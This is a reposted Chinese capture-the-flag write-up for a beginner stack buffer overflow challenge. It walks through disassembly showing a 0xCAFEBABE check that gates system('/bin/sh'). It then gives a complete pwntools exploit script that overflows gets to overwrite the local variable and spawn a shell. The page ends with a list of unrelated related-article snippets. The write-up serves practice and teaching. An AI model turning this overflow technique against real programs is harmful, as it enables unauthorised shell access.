1.Buffer_Overflow-2.Stack_Overflow / 写入字符串

news2024/11/23 12:27:15

这道题虽然简单 但是却给我了另一个解题的看法

我们先进行运行

我们看看保护

 发现只有NX保护

反汇编看看

 发现有shellcode 但是我们没有办法执行shellcode 因为v5 不会等于后面的

这里我原本没有想法 后面进行看看他的汇编

 这里其实就很清楚了

.text:00000000004011BB                 mov     eax, 0CAFEBABEh
把这个数值放入eax中  这个数值转换为10进制 就是 3405691582

.text:00000000004011C0                 cmp     [rbp+var_8], rax
进行比较
.text:00000000004011C4                 jnz     short loc_4011D7
如果不相同 就进行跳转 到下面的loc_4011D7 这里
.text:00000000004011C6                 lea     rdi, command    ; "/bin/sh"
如果相同 就是执行shellcode
.text:00000000004011CD                 mov     eax, 0
.text:00000000004011D2                 call    _system
.text:00000000004011D7
.text:00000000004011D7 loc_4011D7:                             ; CODE XREF: main+72↑j
.text:00000000004011D7                 mov     eax, 0
如果不相同 到这里的话就是退出了
.text:00000000004011DC                 leave
.text:00000000004011DD                 retn

我们发现我们写入的应该是多少后 我们应该确定垃圾字符的大小

因为如果和以前一样 在ret上写入 就不会返回 因为这次我们写入的是字符串 不是函数

没有自带返回

所以我们还是需要通过 gets的ret返回

我们继续看看

 

 我们在这里能发现  原来v5的地址在 rbp+var_8

进入 发现 var_8就是8 所以我们只需要将垃圾字符覆盖到 var_8

然后写入0CAFEBABEh   通过if判断 即可

这题我们就做完了

exp

from pwn import *
p=process('./buf2')
payload=b'A'*(0x20-0x08)+p64(0xCAFEBABE)
p.recvuntil("?\n")
p.sendline(payload)
p.interactive()

这里 recvuntil就是到?\n进行输入

其实就是我们输入的时候输入

这题不一样就是 通过看汇编 还有写入的是字符串

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/540616.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

( 动态规划) 674. 最长连续递增序列 / 718. 最长重复子数组——【Leetcode每日一题】

题目一&#xff08;贪心&#xff09; ❓674. 最长连续递增序列 难度&#xff1a;简单 给定一个未经排序的整数数组&#xff0c;找到最长且 连续递增的子序列&#xff0c;并返回该序列的长度。 连续递增的子序列 可以由两个下标 l 和 r&#xff08;l < r&#xff09;确定…

vcruntime140.dll如何修复?这个修复方法很简单,适合电脑小白

今天打开photoshop软件工作的时候&#xff0c;突然间就打不开&#xff0c;电脑报错由于找不到vcruntime140.dll&#xff0c;无法继续执行此代码&#xff0c;然后我就把photoshop卸载了&#xff0c;再重新安装&#xff0c;依然还是报错。这个可怎么办&#xff1f;vcruntime140.d…

CentOS 安装MongoDB 6.0

一、安装依赖 yum install libcurl openssl xz-libs 二、下载安装包 安装包下载地址https://www.mongodb.com/try/download/community这里我选择的是 选择RedHat / CentOS 7.0平台的原因是我的操作系统使用的是CentOS 7.0的&#xff0c;需要下载与操作系统匹配的安装包 三、…

ChatGPT插件权限给Plus用户放开了

大家好&#xff0c;我是章北海mlpy ChatGPT插件权限给Plus用户放开了 我稍微测试了俩&#xff0c;感觉还行&#xff0c;后续我会对一些热门插件深入测测&#xff0c;敬请期待。 官方对插件的介绍如下&#xff1a; 1、插件由非由OpenAI控制的第三方应用程序提供动力。在安装…

Spring Cloud Alibaba-Sentinel熔断降级

Sentinel: 轻量级的流量控制、熔断降级Java库&#xff0c; 分布式系统的流量防卫兵。 文章目录 一、Sentinel 是什么&#xff1f;二、安装Sentinel控制台三、Sentinel 实战3.1、准备工作3.2、流控规则快速失败Warm Up匀速排队 3.3、热点key限流3.4、降级规则3.5、系统规则 四、…

自定义组件3-behaviors

1、behaviors是小程序中用于实现组件间代码共享的特性&#xff0c;类似于Vue.js中的mixins 2、behaviors的工作方式 每个behaviors可以包含一组属性、数据、生命周期函数和方法。组件引用它时&#xff0c;它的数据和属性和方法会被 合并到组件中。 每个组件可以引用多个behav…

Python采集知某专栏文章保存成pdf

前言 嗨喽&#xff0c;大家好呀~这里是爱看美女的茜茜呐 环境使用: Python 3.8 Pycharm wkhtmltopdf 软件 文末名片获取 模块使用: requests >>> pip install requests 数据请求 parsel >>> pip install parsel 数据解析 re >>> 内置模块 不…

【年度最强超级Ai让你体验真正的人工智能】

年度最强超级Ai让你体验真正的人工智能&#xff08;破解版&#xff09; 登录就是永久会员&#xff08;先上链接&#xff0c;资源来源于网络&#xff0c;如有侵权&#xff0c;联系删除&#xff09; 网易邮箱&#xff1a; 23402001163163.com 我用蓝奏浏览器分享了[GPT-AI助手V1…

100 个 Go 错误以及如何避免:5~8

协议&#xff1a;CC BY-NC-SA 4.0 译者&#xff1a;飞龙 本文来自【OpenDocCN 饱和式翻译计划】&#xff0c;采用译后编辑&#xff08;MTPE&#xff09;流程来尽可能提升效率。 真相一旦入眼&#xff0c;你就再也无法视而不见。——《黑客帝国》 五、字符串 本章涵盖 理解GO中…

Oracle执行计划管理 - SPM

https://blog.51cto.com/lhrbest/3246884 目录 Oracle优化器辅助手段的发展 SPM需求背景 SPM重要构成 SQL计划基准捕获 如何创建SQL计划基准 如何查看SQL计划基准 SQL计划基准选择 执行计划的三个属性 如何选择SQL计划 SQL计划基准发展 SQL计划基准发展的三种选择 …

在外包干了三年,我废了……不吹不黑!

没错&#xff0c;我也干过外包&#xff0c;一干就是三年&#xff0c;三年后&#xff0c;我废了…… 虽说废的不是很彻底&#xff0c;但那三年我几乎是出差了三年、玩了三年、荒废了三年&#xff0c;那三年&#xff0c;我的技术能力几乎是零成长的。 说起这段三年的外包经历&a…

CTFShow-电子取证篇Writeup

CTFShow-电子取证篇Writeup 套的签到题&#xff1a;JiaJia-CP-1&#xff1a;JiaJia-CP-2&#xff1a;JiaJia-CP-3&#xff1a; CTFShow 平台&#xff1a;https://ctf.show/ 套的签到题&#xff1a; JiaJia-CP-1&#xff1a; 这是部分人熟知的刘佳佳同学的电脑&#xff0c;她…

JavaWeb-Servlet的学习

Servlet 简介 Servlet是JavaWeb最为核心的内容&#xff0c;它是Java提供的一门动态web资源开发技术。 使用Servlet就可以实现&#xff0c;根据不同的登录用户在页面上动态显示不同内容。 Servlet是JavaEE规范之一&#xff0c;其实就是一个接口&#xff0c;将来我们需要定义S…

SpringBoot 整合 ES 进行各种高级查询搜索

数据准备 因为本文都是数据的搜索&#xff0c;所以我们需要在我们的es服务器里先插入一些数据以供我们后面使用 esUserService public interface EsUserService extends ElasticsearchRepository<User, Integer> {}RestController public class EsController {Autowir…

HUSTOJ中添加初赛练习系统

文章目录 0. 基于hustoj二开的初赛练习系统&#xff0c;QQ4705852261. 主界面2. 练习界面3. 模拟考试界面4. 查看试卷回放5. 后台操作界面6. 后台试题分类-列表7.后台试题-列表8. 后台试题-添加9. 后台试卷结构-设置 0. 基于hustoj二开的初赛练习系统&#xff0c;QQ470585226 …

Requests请求库的使用

Request请求库 爬虫运行原理Requests请求库安装环境 Requests库的使用状态码网页内容 爬虫运行原理 首先回顾一下爬虫运作的基本原理&#xff08;下面是比较正式的书面语&#xff09;&#xff1a; 爬虫是一种自动化程序&#xff0c;用于从互联网上获取信息&#xff0c; 发起请…

蓝牙耳机啥牌子好?发烧友力荐五大超高性价比蓝牙耳机

预算有限的情况下&#xff0c;性价比是我们在购物时的主要衡量维度&#xff0c;挑选蓝牙耳机时也不例外&#xff0c;那么你知道哪些蓝牙耳机性价比最高吗&#xff1f;不懂的话可以看看老烧我整理的超高性价比蓝牙耳机推荐&#xff0c;了解蓝牙耳机啥牌子好。 一、JEET Air 2 蓝…

数据结构总结4:树、二叉树

后续会有补充 树 树是一种非线性的数据结构&#xff0c;是由n(n>0)个有限结点组成一个具有层次关系的集合。 1.有一个特殊的结点&#xff0c;称为根结点&#xff0c;根节点没有前驱结点 2.树是递归定义的 满足树的条件&#xff1a; 1.子树不相交 2.除了根结点外&#xff0…

白盒测试:如何进行代码级别的测试?

01、什么是白盒测试 白盒测试也称结构测试&#xff0c;透明盒测试。主要用于单元测试阶段&#xff0c;代码和逻辑的测试&#xff0c;重点复杂的测试&#xff0c;是一种测试用例设计方法&#xff0c;不同于黑盒测试&#xff0c;白盒测试是可以看到内部代码如何运作的&#xff0…

PDF.js实现按需加载pdf文件-包含前后端开发源码和详细开发教程

PDF.js实现按需加载pdf文件 说明前言前端项目分片加载的效果前端项目结构项目运行与访问 后端项目项目结构核心代码实现注意事项 项目源码 说明 本文主要是介绍pdf.js的前后端项目的实现&#xff0c;包含可直接运行的源码。由于本人偏向于后端开发&#xff0c;因此前端的vue方…